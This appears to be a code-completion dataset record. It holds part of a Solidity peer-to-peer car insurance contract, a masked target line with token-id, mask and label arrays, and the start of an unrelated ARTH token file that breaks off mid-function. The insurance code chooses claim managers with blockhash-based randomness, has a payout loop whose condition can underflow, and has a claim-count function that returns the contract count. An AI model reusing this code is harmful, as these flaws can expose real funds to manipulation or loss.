(insuranceContracts[i].owner == _add && insuranceContracts[i].status == InsuranceContractStatus.InForce && insuranceContracts[i].VINhash == keccak256(_vin)) { _insContractNum = i + 1; //add 1 to distinct from zero break; } } } ///*** */ //*** group of function to make and process claim function applyNewClaim (/*string _vin,*/ uint _claimAmount, string memory _claimURL /*, uint _claimDate*/) public payable { uint256 _contractNum = returnActiveContractByAddressNum(msg.sender, now); //_claimDate //returnInsuranceContractByVinNum(_vin); require(_contractNum > 0); _contractNum--; require(msg.sender == insuranceContracts[_contractNum].owner); require(msg.value >= claimDeposit); uint256 l = claimManagersList.returnLengthOfList(); //comment for immidiate test require(insuranceContracts[_contractNum].startDate + NTUTermInDays <= now); //accept claims only after NTUTermInDays //populate list of claimFolderManagers address[numberOfClaimFolderManagers] memory _managers; uint256 i = 0; //some variables for circles uint256 j; uint256 h; bool alreadyIn = false; //if choosen manager already selected address _add; //make simple select if managers count == numberOfClaimFolderManagers? if (l <= numberOfClaimFolderManagers) {//if number of active managers less then nominal number for settlement for (i = 0; i < l; i++) { _managers[i] = claimManagersList.returnManagerAddress(i); } } else while (_managers.length < numberOfClaimFolderManagers) { j = uint(blockhash(block.number-1-i))%l + 1; _add = claimManagersList.returnManagerAddress(j); for (h = 0; h < _managers.length; h++) { if (_add == _managers[h]) { alreadyIn = true; break; } } if (!alreadyIn) _managers[i] = _add; alreadyIn = false; i++; } adminFee += msg.value; claimFolders.push(ClaimFolder ({ status: ClaimStatus.InProgress, claimURL: _claimURL, claimAmount: _claimAmount * 1 finney, //temp nominated in finney managers: _managers, //claimApplicationDate: now, claimDate: now, //_claimDate, votesPro: 0, votesContra: 0, amountToSettle: 0, //beneficiary: msg.sender, contractNum: _contractNum })); } function returnFirstUnsettledClaimFolderForManagerNum (address _add) private view returns (uint _firstClaimFolder) { _firstClaimFolder = 0; //zero means no folder have been found for (uint256 i = 0; i < claimFolders.length; i ++) { if (claimFolders[i].status == ClaimStatus.InProgress) { for (uint j = 0; j < claimFolders[i].managers.length; j++) { if (claimFolders[i].managers[j] == _add) { _firstClaimFolder = i + 1; //add 1 to distinct from zero break; } } } if (_firstClaimFolder > 0) break; } } function returnFirstAppliedClaimFolderURL () public view returns (string memory _url) { require(claimFolders.length > 0); uint256 _numClaimFolder = returnFirstUnsettledClaimFolderForManagerNum(msg.sender); require( _numClaimFolder > 0); _url = claimFolders[_numClaimFolder-1].claimURL; //minus 1 cause function returns number + 1 } function voteForClaimFolder (string memory _url, bool _vote) public { uint256 _numClaimFolder = returnFirstUnsettledClaimFolderForManagerNum(msg.sender); require(_numClaimFolder > 0); //non zero folder _numClaimFolder--; //reduce by 1 to return to "array" numeration require(keccak256(bytes(_url)) == keccak256(bytes(claimFolders[_numClaimFolder].claimURL))); //the same claimURL //require(claimFolders[_numClaimFolder].status == ClaimStatus.InProgress); //ClaimFolder not closed - alredy checked in return url function if (_vote) claimFolders[_numClaimFolder].votesPro++; else claimFolders[_numClaimFolder].votesContra++; /* for (uint i = 0; i < claimFolders[i].managers.length; i++) { if (claimFolders[_numClaimFolder].managers[i] == msg.sender) delete claimFolders[_numClaimFolder].managers[i]; //delete manager after vote. but length remain the same? not working } */ //check if 1/2 of total votes already pro or contra this claim and update status if (claimFolders[_numClaimFolder].votesPro * 2 >= claimFolders[_numClaimFolder].managers.length) { claimFolders[_numClaimFolder].status = ClaimStatus.Accepted; uint _claimAmount = claimFolders[_numClaimFolder].claimAmount; address _add = insuranceContracts[claimFolders[_numClaimFolder].contractNum].owner; claimFolders[_numClaimFolder].amountToSettle = collectSumFromReserves(_claimAmount, _add); //claimManagersList.updateCountOfPassedClaimsByManager(keccak256(msg.sender), uint(ClaimStatus.Accepted)); } if (claimFolders[_numClaimFolder].votesContra * 2 > claimFolders[_numClaimFolder].managers.length) { claimFolders[_numClaimFolder].status = ClaimStatus.Rejected; //claimManagersList.updateCountOfPassedClaimsByManager(keccak256(msg.sender), uint(ClaimStatus.Rejected)); } } function collectSumFromReserves(uint _claimAmount, address _add) private returns (uint256 _amountToTransfer) { _amountToTransfer = 0; uint256 _amount; uint fineX = 4; //aditional multiplyer for claimant and it's parent uint _tmpFineX = 1; uint256 i = members.length; //for circle uint256 j; //for circle 2 uint256 l = members.length; // fixed uint256 for faster calculation (?) while (_amountToTransfer < _claimAmount || i > 0) {//from last member to first j = i - 1; //convert to array numeration if (members[j].memberAddress == _add ) { //claimant or parent _tmpFineX = fineX; fineX--; //fine for parent if(fineX == 0) fineX = 1; //no less then 1 _add = members[j].parentAddress; } else _tmpFineX = 1; //standart multiplyer if (members[j].reserve > 0) { //from every member we take 1 of (members.length * (tariffNum / tariffCount)) part from reserve if (members[j].reserve * _tmpFineX / l / tariffNum * tariffCount > (_claimAmount - _amountToTransfer)) _amount = _claimAmount - _amountToTransfer; else _amount = members[j].reserve * _tmpFineX / l / tariffNum * tariffCount; members[j].reserve -= _amount; _amountToTransfer += _amount; } i--; //next member } return _amountToTransfer; } function returnFirstSettledNUnpaidClaimFolderNum (address _add) private view returns (uint _firstClaimFolder) { _firstClaimFolder = 0; //zero means no folder have been found for (uint256 i = 0; i < claimFolders.length; i ++) { if (claimFolders[i].status == ClaimStatus.Accepted && claimFolders[i].amountToSettle > 0 && insuranceContracts[claimFolders[i].contractNum].owner == _add) { _firstClaimFolder = i + 1; //add 1 to distinct from zero break; } } } function withdrawClaimSettlement() public { uint256 _numClaimFolder = returnFirstSettledNUnpaidClaimFolderNum(msg.sender); require( _numClaimFolder > 0); //non zero folder _numClaimFolder--; //reduce by 1 to return to "array" numeration uint _amountToTransfer = claimFolders[_numClaimFolder].amountToSettle; claimFolders[_numClaimFolder].amountToSettle = 0; makeWithdrawFromReserve(msg.sender, _amountToTransfer); } //*** //*** group of function to conclude InsuranceContract function makeWithdrawFromReserve(address payable _add, uint _amountToTransfer) private { if (_amountToTransfer > reserve) _amountToTransfer = reserve; reserve -= _amountToTransfer; _add.transfer(_amountToTransfer); //_amountToTransfer } function withdrawContractByNTU () public { uint256 _contractNum = returnActiveContractByAddressNum(msg.sender, now); require( _contractNum > 0); //non zero folder _contractNum--; //reduce by 1 to return to "array" numeration require(insuranceContracts[_contractNum].startDate + NTUTermInDays > now); uint _amountToTransfer = insuranceContracts[_contractNum].premium; uint256 _memberNum = returnMemberByAddressNum(msg.sender); require( _memberNum > 0); //non zero folder _memberNum--; //reduce by 1 to return to "array" numeration if (_amountToTransfer > members[_memberNum].reserve) _amountToTransfer = members[_memberNum].reserve; members[_memberNum].reserve -= _amountToTransfer; insuranceContracts[_contractNum].status = InsuranceContractStatus.NTU; makeWithdrawFromReserve(msg.sender, _amountToTransfer); //return true; } function returnMemberByAddressNum (address _add) private view returns (uint256 _num) { _num = 0; //zero means no member have been found for (uint256 i = 0; i < members.length; i++) if (members[i].memberAddress == _add) { _num = i + 1; break; } } function returnActiveContractByAddressNum (address _add, uint _date) private view returns (uint256 _num) { _num = 0; //zero means no member have been found for (uint256 i = 0; i < insuranceContracts.length; i++) if (insuranceContracts[i].owner == _add && insuranceContracts[i].status == InsuranceContractStatus.InForce && insuranceContracts[i].startDate <= _date && insuranceContracts[i].startDate + 365 days > _date ) { _num = i + 1; break; } } function buyContract (/*string _vin,*/ address _parentadd) public payable { uint _sumAssured = msg.value * tariffCount / tariffNum; //back calculating the sumAssured require(_sumAssured <= maxSumAssured); require(_sumAssured >= minSumAssured); //require(!checkIfVinInsured(_vin)); //only 1 contract for 1 member uint256 _contractNum = returnActiveContractByAddressNum(msg.sender, now); require(_contractNum == 0); //create member if needed uint256 _memberNum = returnMemberByAddressNum(msg.sender); if (_memberNum > 0) { members[_memberNum-1].reserve += msg.value; //minus 1 cause function returns number + 1 } else { //create new member //require(returnMemberByAddressNum(_parentadd) > 0); //parentAddress should be a member members.push(Member({ memberAddress: msg.sender, parentAddress: _parentadd, reserve: msg.value })); } insuranceContracts.push(InsuranceContract ({ //VINhash: keccak256(_vin), status: InsuranceContractStatus.InForce, startDate: now, sumAssured: _sumAssured, premium: msg.value, //reserve: msg.value, profitShareSum: 0, owner: msg.sender })); reserve += msg.value; //increase total reserve } function returnNumberOfContracts() public view returns (uint256) { return insuranceContracts.length; } function returnNumberOfClaims() public view returns (uint256) { return insuranceContracts.length; } function returnStatusOfClaimNum(uint _numClaimFolder) public view returns (uint) { return uint(claimFolders[_numClaimFolder].status); } function returnStartDateOfCurrentContract () public view returns (uint256) { uint256 _contractNum = returnActiveContractByAddressNum(msg.sender, now); require(_contractNum > 0); _contractNum--; //reduce by 1 to return to "array" numeration return insuranceContracts[_contractNum].startDate; } //*** }
require(returnMemberByAddressNum(_parentadd) > 0); parentAddress should be a member
members.push(Member({ memberAddress: msg.sender, parentAddress: _parentadd, reserve: msg.value }));
12,698,466
[ 1, 6528, 12, 2463, 4419, 858, 1887, 2578, 24899, 2938, 1289, 13, 405, 374, 1769, 982, 1887, 1410, 506, 279, 3140, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5411, 4833, 18, 6206, 12, 4419, 12590, 203, 7734, 3140, 1887, 30, 1234, 18, 15330, 16, 203, 7734, 982, 1887, 30, 389, 2938, 1289, 16, 203, 7734, 20501, 30, 1234, 18, 1132, 203, 5411, 289, 10019, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: contracts/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the number of decimals for token. */ function decimals() external view returns (uint8); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: contracts/Arth/IIncentive.sol // /// @title incentive contract interface /// @author Fei Protocol /// @notice Called by FEI token contract when transferring with an incentivized address /// @dev should be appointed as a Minter or Burner as needed interface IIncentiveController { /// @notice apply incentives on transfer /// @param sender the sender address of the FEI /// @param receiver the receiver address of the FEI /// @param operator the operator (msg.sender) of the transfer /// @param amount the amount of FEI transferred function incentivize( address sender, address receiver, address operator, uint256 amount ) external; } // File: contracts/ERC20/IAnyswapV4Token.sol // interface IAnyswapV4Token { function approveAndCall( address spender, uint256 value, bytes calldata data ) external returns (bool); function transferAndCall( address to, uint256 value, bytes calldata data ) external returns (bool); function transferWithPermit( address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external returns (bool); function Swapin( bytes32 txhash, address account, uint256 amount ) external returns (bool); function Swapout(uint256 amount, address bindaddr) external returns (bool); function nonces(address owner) external view returns (uint256); function permit( address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; } // File: contracts/Arth/IARTH.sol // interface IARTH is IERC20, IAnyswapV4Token { function addPool(address pool) external; function removePool(address pool) external; function setGovernance(address _governance) external; function poolMint(address who, uint256 amount) external; function poolBurnFrom(address who, uint256 amount) external; function setIncentiveController(IIncentiveController _incentiveController) external; function genesisSupply() external view returns (uint256); } // File: contracts/utils/Address.sol // /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, 'Address: insufficient balance' ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(''); require( success, 'Address: unable to send value, recipient may have reverted' ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, 'Address: low-level call failed'); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, 'Address: low-level call with value failed' ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, 'Address: insufficient balance for call' ); require(isContract(target), 'Address: call to non-contract'); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, 'Address: low-level static call failed' ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), 'Address: static call to non-contract'); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, 'Address: low-level delegate call failed' ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), 'Address: delegate call to non-contract'); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: contracts/utils/Context.sol // /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: contracts/utils/math/SafeMath.sol // // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { { require(b > 0, errorMessage); return a % b; } } } // File: contracts/access/Ownable.sol // /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), 'Ownable: new owner is the zero address' ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/Staking/Pausable.sol // /// Refer: https://docs.synthetix.io/contracts/Pausable abstract contract Pausable is Ownable { /** * State variables. */ bool public paused; uint256 public lastPauseTime; /** * Event. */ event PauseChanged(bool isPaused); /** * Modifier. */ modifier notPaused { require( !paused, 'Pausable: This action cannot be performed while the contract is paused' ); _; } /** * Constructor. */ constructor() { // This contract is abstract, and thus cannot be instantiated directly require(owner() != address(0), 'Owner must be set'); // Paused will be false, and lastPauseTime will be 0 upon initialisation } /** * External. */ /** * @notice Change the paused state of the contract * @dev Only the contract owner may call this. */ function setPaused(bool _paused) external onlyOwner { // Ensure we're actually changing the state before we do anything if (_paused == paused) { return; } // Set our paused state. paused = _paused; // If applicable, set the last pause time. if (paused) { lastPauseTime = block.timestamp; } // Let everyone know that our pause state has changed. emit PauseChanged(paused); } } // File: contracts/ERC20/ERC20Custom.sol // /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ abstract contract ERC20Custom is Pausable, IERC20 { using SafeMath for uint256; uint256 private _totalSupply; mapping(address => bool) internal _blacklisted; mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) internal _allowances; /** * Modifiers */ modifier onlyNonBlacklisted(address who) { require(!getIsBlacklisted(who), 'ERC20Custom: address is blacklisted'); _; } /** * Constructor. */ constructor() {} /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev Returns if an address is blackListed or not. */ function getIsBlacklisted(address who) public view returns (bool) { return _blacklisted[who]; } /** * @dev Blacklists an address. */ function blacklist(address who) public onlyOwner returns (bool) { if (getIsBlacklisted(who)) return true; _blacklisted[who] = true; return true; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address.approve(address spender, uint256 amount) */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. * * NOTE: The `spender i.e msg.sender` and the `owner` both should not be blacklisted. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override onlyNonBlacklisted(_msgSender()) 